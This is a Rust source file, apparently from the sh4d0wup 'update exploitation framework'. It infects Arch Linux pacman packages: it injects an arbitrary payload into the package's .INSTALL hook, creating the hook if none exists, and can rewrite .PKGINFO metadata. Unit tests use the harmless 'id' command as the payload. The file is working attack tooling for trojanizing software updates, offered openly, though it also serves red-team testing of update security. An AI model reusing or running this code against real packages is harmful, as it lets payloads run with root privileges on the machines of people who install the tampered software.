sh4d0wup 0.11.0

Signing-key abuse and update exploitation framework
Documentation
use crate::args;
use crate::compression;
use crate::errors::*;
use indexmap::IndexMap;
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use std::fmt::Write as _;
use std::io::prelude::*;
use std::str::FromStr;
use tar::Archive;

#[derive(Debug, PartialEq, Eq, Default)]
pub struct PkgInfo {
    comments: Vec<String>,
    map: IndexMap<String, Vec<String>>,
}

impl PkgInfo {
    pub fn add_values(&mut self, key: &str, values: &[&str]) {
        let values = values.iter().map(|x| String::from(*x)).collect();
        self.map.insert(key.to_string(), values);
    }

    fn to_pkginfo_string(&self) -> String {
        let mut out = String::new();
        for comment in &self.comments {
            writeln!(out, "{comment}").ok();
        }
        for (key, values) in &self.map {
            for value in values {
                writeln!(out, "{key} = {value}").ok();
            }
        }
        out
    }
}

impl FromStr for PkgInfo {
    type Err = Error;

    fn from_str(s: &str) -> Result<PkgInfo> {
        let mut x = PkgInfo::default();
        for line in s.split('\n') {
            if line.starts_with('#') {
                x.comments.push(line.to_string());
            } else if let Some((key, value)) = line.split_once(" = ") {
                x.map
                    .entry(key.to_string())
                    .or_default()
                    .push(value.to_string());
            }
        }
        Ok(x)
    }
}

pub fn patch_install_script(script: Option<&str>, payload: &str) -> Result<String> {
    if let Some(script) = &script {
        let script = format!("{payload}\n{script}");
        Ok(script)
    } else {
        let mut out = String::new();
        writeln!(out, "{payload}")?;
        writeln!(out, "post_install() {{ :; }}")?;
        writeln!(out, "post_upgrade() {{ :; }}")?;
        Ok(out)
    }
}

#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
pub struct Infect {
    #[serde(default)]
    pub set: HashMap<String, Vec<String>>,
    pub payload: Option<String>,
}

impl TryFrom<args::InfectPacmanPkg> for Infect {
    type Error = Error;

    fn try_from(args: args::InfectPacmanPkg) -> Result<Self> {
        let mut pkginfo_overrides = HashMap::<_, Vec<_>>::new();
        for set in &args.set {
            let (a, b) = set
                .split_once('=')
                .with_context(|| anyhow!("Invalid --set assignment: {:?}", set))?;
            pkginfo_overrides
                .entry(a.to_string())
                .or_default()
                .push(b.to_string());
        }
        debug!("Parsed pkginfo overrides: {:?}", pkginfo_overrides);

        Ok(Infect {
            set: pkginfo_overrides,
            payload: args.payload,
        })
    }
}

pub fn infect<W: Write>(args: &Infect, pkg: &[u8], out: &mut W) -> Result<()> {
    let comp = compression::detect_compression(pkg);

    let mut out = compression::stream_compress(out, comp)?;
    let tar = compression::stream_decompress(pkg, comp)?;
    let mut archive = Archive::new(tar);

    let mut builder = tar::Builder::new(&mut out);
    let mut has_install_hook = false;

    debug!("Walking through original archive...");
    for entry in archive.entries()? {
        let mut entry = entry?;
        let mut header = entry.header().clone();
        debug!("Found entry in tar: {:?}", header.path());
        let path = header.path()?;
        let filename = path
            .to_str()
            .with_context(|| anyhow!("Package contains paths with invalid encoding: {:?}", path))?;

        if let Some(payload) = &args.payload {
            if !has_install_hook && filename > ".INSTALL" {
                info!("This package has no install hook, adding one from scratch...");
                has_install_hook = true;
                let script = patch_install_script(None, payload)
                    .context("Failed to generate install script")?;
                debug!("Generated install script: {:?}", script);

                let script = script.as_bytes();
                let mut header = header.clone();
                header.set_path(".INSTALL")?;
                header.set_size(script.len() as u64);
                header.set_cksum();

                builder.append(&header, &mut &script[..])?;
            }
        }

        match (&args.payload, filename) {
            (Some(payload), ".INSTALL") => {
                info!("Package already has install script, patching...");
                has_install_hook = true;
                let mut script = String::new();
                entry.read_to_string(&mut script)?;
                debug!("Found existing install script: {:?}", script);
                let script = patch_install_script(Some(&script), payload)
                    .context("Failed to patch install script")?;
                debug!("Patched install script: {:?}", script);

                let script = script.as_bytes();
                header.set_size(script.len() as u64);
                header.set_cksum();

                builder.append(&header, &mut &script[..])?;
            }
            (_, ".PKGINFO") => {
                if args.set.is_empty() {
                    debug!("Passing through pkginfo unparsed");
                    builder.append(&header, &mut entry)?;
                } else {
                    let mut pkginfo = String::new();
                    entry.read_to_string(&mut pkginfo)?;
                    let mut pkginfo = pkginfo
                        .parse::<PkgInfo>()
                        .context("Failed to parse pkginfo")?;
                    debug!("Found pkginfo: {:?}", pkginfo);

                    for (key, value) in &args.set {
                        let old = pkginfo.map.insert(key.clone(), value.clone());
                        debug!("Updated pkginfo {:?}: {:?} -> {:?}", key, old, value);
                    }

                    let buf = pkginfo.to_pkginfo_string();
                    debug!("Generated new pkginfo: {:?}", buf);
                    let buf = buf.as_bytes();
                    header.set_size(buf.len() as u64);
                    header.set_cksum();

                    builder.append(&header, &mut &buf[..])?;
                }
            }
            _ => {
                builder.append(&header, &mut entry)?;
            }
        }
    }

    builder.into_inner()?;
    out.finish()?;

    Ok(())
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_gen_install_script() -> Result<()> {
        let script = patch_install_script(None, "id")?;
        assert_eq!(
            script,
            "\
id
post_install() { :; }
post_upgrade() { :; }
"
        );
        Ok(())
    }

    #[test]
    fn test_modify_install_script() -> Result<()> {
        let data = r#"post_install() {
      setcap cap_sys_chroot=ep usr/bin/sn0int 2> /dev/null
}

post_upgrade() {
      post_install "$1"
}

# vim:set ts=2 sw=2 et:
"#;
        let script = patch_install_script(Some(data), "id")?;
        assert_eq!(
            script,
            r#"id
post_install() {
      setcap cap_sys_chroot=ep usr/bin/sn0int 2> /dev/null
}

post_upgrade() {
      post_install "$1"
}

# vim:set ts=2 sw=2 et:
"#
        );
        Ok(())
    }

    #[test]
    fn test_parse_pkginfo() -> Result<()> {
        let data = "# Generated by makepkg 6.0.1\n# using fakeroot version 1.28\npkgname = sn0int\npkgbase = sn0int\npkgver = 0.24.2-1\npkgdesc = Semi-automatic OSINT framework and package manager\nurl = https://github.com/kpcyrd/sn0int\nbuilddate = 1648545922\npackager = kpcyrd <kpcyrd@archlinux.org>\nsize = 17775566\narch = x86_64\nlicense = GPL3\ndepend = libcap\ndepend = lua52\ndepend = sqlite\ndepend = libseccomp.so=2-64\ndepend = libsodium\ndepend = geoip2-database\ndepend = publicsuffix-list\nmakedepend = cargo\nmakedepend = python-sphinx\n";
        let pkginfo = data.parse::<PkgInfo>()?;
        let mut expected = PkgInfo {
            comments: vec![
                "# Generated by makepkg 6.0.1".to_string(),
                "# using fakeroot version 1.28".to_string(),
            ],
            ..Default::default()
        };
        expected.add_values("pkgname", &["sn0int"]);
        expected.add_values("pkgbase", &["sn0int"]);
        expected.add_values("pkgver", &["0.24.2-1"]);
        expected.add_values(
            "pkgdesc",
            &["Semi-automatic OSINT framework and package manager"],
        );
        expected.add_values("url", &["https://github.com/kpcyrd/sn0int"]);
        expected.add_values("builddate", &["1648545922"]);
        expected.add_values("packager", &["kpcyrd <kpcyrd@archlinux.org>"]);
        expected.add_values("size", &["17775566"]);
        expected.add_values("arch", &["x86_64"]);
        expected.add_values("license", &["GPL3"]);
        expected.add_values(
            "depend",
            &[
                "libcap",
                "lua52",
                "sqlite",
                "libseccomp.so=2-64",
                "libsodium",
                "geoip2-database",
                "publicsuffix-list",
            ],
        );
        expected.add_values("makedepend", &["cargo", "python-sphinx"]);
        assert_eq!(pkginfo, expected);
        Ok(())
    }
}